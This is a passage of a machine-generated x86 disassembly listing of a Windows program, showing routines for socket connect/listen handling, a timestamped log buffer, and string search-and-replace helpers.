sub_4199C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A10:				; CODE XREF: ___:00401C99j
		call	near ptr 77C371D3h
		nop
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419A30:				; CODE XREF: ___:00401528j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A50	proc near		; CODE XREF: sub_401FE1j
		xor	al, al
		retn	4
sub_419A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A70	proc near		; CODE XREF: sub_40152Dj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D8075
		call	sub_401118
		retn
sub_419A70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: ___:0040150Fj
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419AE3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419AE3
		mov	[esp+18h], eax


loc_419AE3:				; CODE XREF: ___:00419ACBj
					; ___:00419ADDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_508E2C


loc_419AF8:				; CODE XREF: ___:00419B49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419B4B
		cmp	byte ptr [esi],	0
		jz	short loc_419B34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419B28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419B28
		push	eax
		push	esi
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_419B34


loc_419B28:				; CODE XREF: ___:00419B0Fj
					; ___:00419B17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_40152D
		add	esp, 10h


loc_419B34:				; CODE XREF: ___:00419B07j
					; ___:00419B26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50CE2C
		mov	[esp+14h], edx
		jl	short loc_419AF8


loc_419B4B:				; CODE XREF: ___:00419B02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: ___:00402289j
		push	ebx
		mov	ebx, dword_511B04
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_508E2C


loc_419BA2:				; CODE XREF: ___:00419BBEj
		cmp	byte ptr [esi],	0
		jz	short loc_419BB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419BC6


loc_419BB2:				; CODE XREF: ___:00419BA5j
		add	esi, 80h
		cmp	esi, offset dword_50CE2C
		jl	short loc_419BA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419BC6:				; CODE XREF: ___:00419BB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419BE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	edi, dword_511B08
		mov	esi, offset dword_50CE2C


loc_419BFB:				; CODE XREF: sub_419BE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419C0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419C0F:				; CODE XREF: sub_419BE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_508E2C
		jge	short loc_419BFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_508E2C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419BE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419CB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_511B08
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419D21
		mov	[edx+180h], al


loc_419D21:				; CODE XREF: ___:00419D19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419E32


loc_419D3F:				; CODE XREF: ___:00419E25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419E00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419E00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419DDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5F76F7
		add	esp, 14h
		jmp	short loc_419E00
; ---------------------------------------------------------------------------


loc_419DDD:				; CODE XREF: ___:00419DAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5F76F7
		add	esp, 10h


loc_419E00:				; CODE XREF: ___:00419D8Aj
					; ___:00419D91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_511B04
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419E2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419D3F


loc_419E2B:				; CODE XREF: ___:00419E16j
		mov	esi, [esp+614h]


loc_419E32:				; CODE XREF: ___:00419D39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419ED0:				; CODE XREF: ___:004018DEj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419EEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EEE:				; CODE XREF: ___:00419EE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419F39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F39:				; CODE XREF: ___:00419F2Fj
		push	7FFFFFFFh
		push	esi
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_419F51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F51:				; CODE XREF: ___:00419F47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F90:				; CODE XREF: ___:00401E83j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4E02A5


loc_419F98:				; CODE XREF: ___:00419FA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419FAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E7E15
		jle	short loc_419F98


loc_419FAA:				; CODE XREF: ___:00419F9Bj
		cmp	edi, 13h
		jle	short loc_419FB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419FB4:				; CODE XREF: ___:00419FADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4E01ABh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5F76F7
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5F76F7
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A050	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D8735


loc_41A058:				; CODE XREF: sub_41A050+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A06A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E02A5
		jle	short loc_41A058


loc_41A06A:				; CODE XREF: sub_41A050+Bj
		cmp	edi, 13h
		jle	short loc_41A074
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A074:				; CODE XREF: sub_41A050+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D863Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5F76F7
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5F76F7
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41A050	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401C49j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43F0BC
		mov	eax, dword_50DAF8
		test	eax, eax
		jnz	short loc_41A148
		mov	eax, dword_50DAF8
		inc	eax
		mov	dword_50DAF8, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A155
; ---------------------------------------------------------------------------


loc_41A148:				; CODE XREF: sub_41A110+19j
		mov	edx, dword_50DAF8
		inc	edx
		mov	dword_50DAF8, edx


loc_41A155:				; CODE XREF: sub_41A110+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1E0	proc near		; CODE XREF: ___:004018E3j sub_401B09j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FE6
		test	[esp+4+arg_0], 1
		jz	short loc_41A1F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A1F8:				; CODE XREF: sub_41A1E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A1E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A210	proc near		; CODE XREF: sub_401FE6j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43F0BC
		test	al, al
		jnz	short loc_41A225
		call	sub_4014E7


loc_41A225:				; CODE XREF: sub_41A210+Ej
		mov	eax, 1
		mov	ecx, dword_50DAF8
		cmp	ecx, eax
		jle	short loc_41A240
		mov	eax, dword_50DAF8
		dec	eax
		mov	dword_50DAF8, eax

locret_41A23F:				; CODE XREF: sub_41A210:loc_41A240j
		retn
; ---------------------------------------------------------------------------


loc_41A240:				; CODE XREF: sub_41A210+22j
		jnz	short locret_41A23F
		mov	ecx, dword_50DAF8
		dec	ecx
		mov	dword_50DAF8, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A280:				; CODE XREF: ___:004015AAj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BFCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jz	loc_41A331
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A2B9
		mov	al, 1
		jmp	short loc_41A331
; ---------------------------------------------------------------------------


loc_41A2B9:				; CODE XREF: ___:0041A2B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401640
		push	eax
		mov	ecx, esi
		call	sub_4020E5
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40187A
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A331:				; CODE XREF: ___:0041A2A5j
					; ___:0041A2B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A390	proc near		; CODE XREF: sub_40196Aj
		mov	al, byte_444DA4
		retn
sub_41A390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A3B0	proc near		; CODE XREF: sub_4020E5j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A3D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3D0:				; CODE XREF: sub_41A3B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A571
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A40A
		mov	ecx, esi
		call	sub_4014E7
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A3B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A419
		push	1
		jmp	short loc_41A41B
; ---------------------------------------------------------------------------


loc_41A419:				; CODE XREF: sub_41A3B0+63j
		push	0


loc_41A41B:				; CODE XREF: sub_41A3B0+67j
		mov	ecx, esi
		call	sub_4018CA
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_511C50
		test	eax, eax
		jge	short loc_41A4BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A3B0+D6j
					; sub_41A3B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A56A


loc_41A4BC:				; CODE XREF: sub_41A3B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_511C94
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A530


loc_41A4FB:				; CODE XREF: sub_41A3B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A545
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A514
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A545


loc_41A514:				; CODE XREF: sub_41A3B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A4FB


loc_41A530:				; CODE XREF: sub_41A3B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A561
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A563
; ---------------------------------------------------------------------------


loc_41A545:				; CODE XREF: sub_41A3B0+152j
					; sub_41A3B0+162j
		mov	ecx, esi
		call	sub_4014E7
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A561:				; CODE XREF: sub_41A3B0+189j
		push	0


loc_41A563:				; CODE XREF: sub_41A3B0+193j
		mov	ecx, esi
		call	sub_4018CA


loc_41A56A:				; CODE XREF: sub_41A3B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A571:				; CODE XREF: sub_41A3B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A3B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A600	proc near		; CODE XREF: sub_4014E7j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41A61A:				; CODE XREF: sub_41A600+Cj
					; sub_41A600+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A640	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A640	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6B0	proc near		; CODE XREF: sub_401492j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A6C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6C6:				; CODE XREF: sub_41A6B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A77F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A6FB
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6FB:				; CODE XREF: sub_41A6B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41A754
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A754:				; CODE XREF: sub_41A6B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A778
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A778:				; CODE XREF: sub_41A6B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A77F:				; CODE XREF: sub_41A6B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A6B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_401B95j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A7EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7EE:				; CODE XREF: sub_41A7D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A805
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A805:				; CODE XREF: sub_41A7D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A881
		call	sub_40196A
		test	al, al
		jz	short loc_41A874
		mov	edi, dword_511C94


loc_41A81E:				; CODE XREF: sub_41A7D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A86B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A881


loc_41A86B:				; CODE XREF: sub_41A7D0+84j
		call	sub_40196A
		test	al, al
		jnz	short loc_41A81E


loc_41A874:				; CODE XREF: sub_41A7D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A7D0+3Dj
					; sub_41A7D0+99j
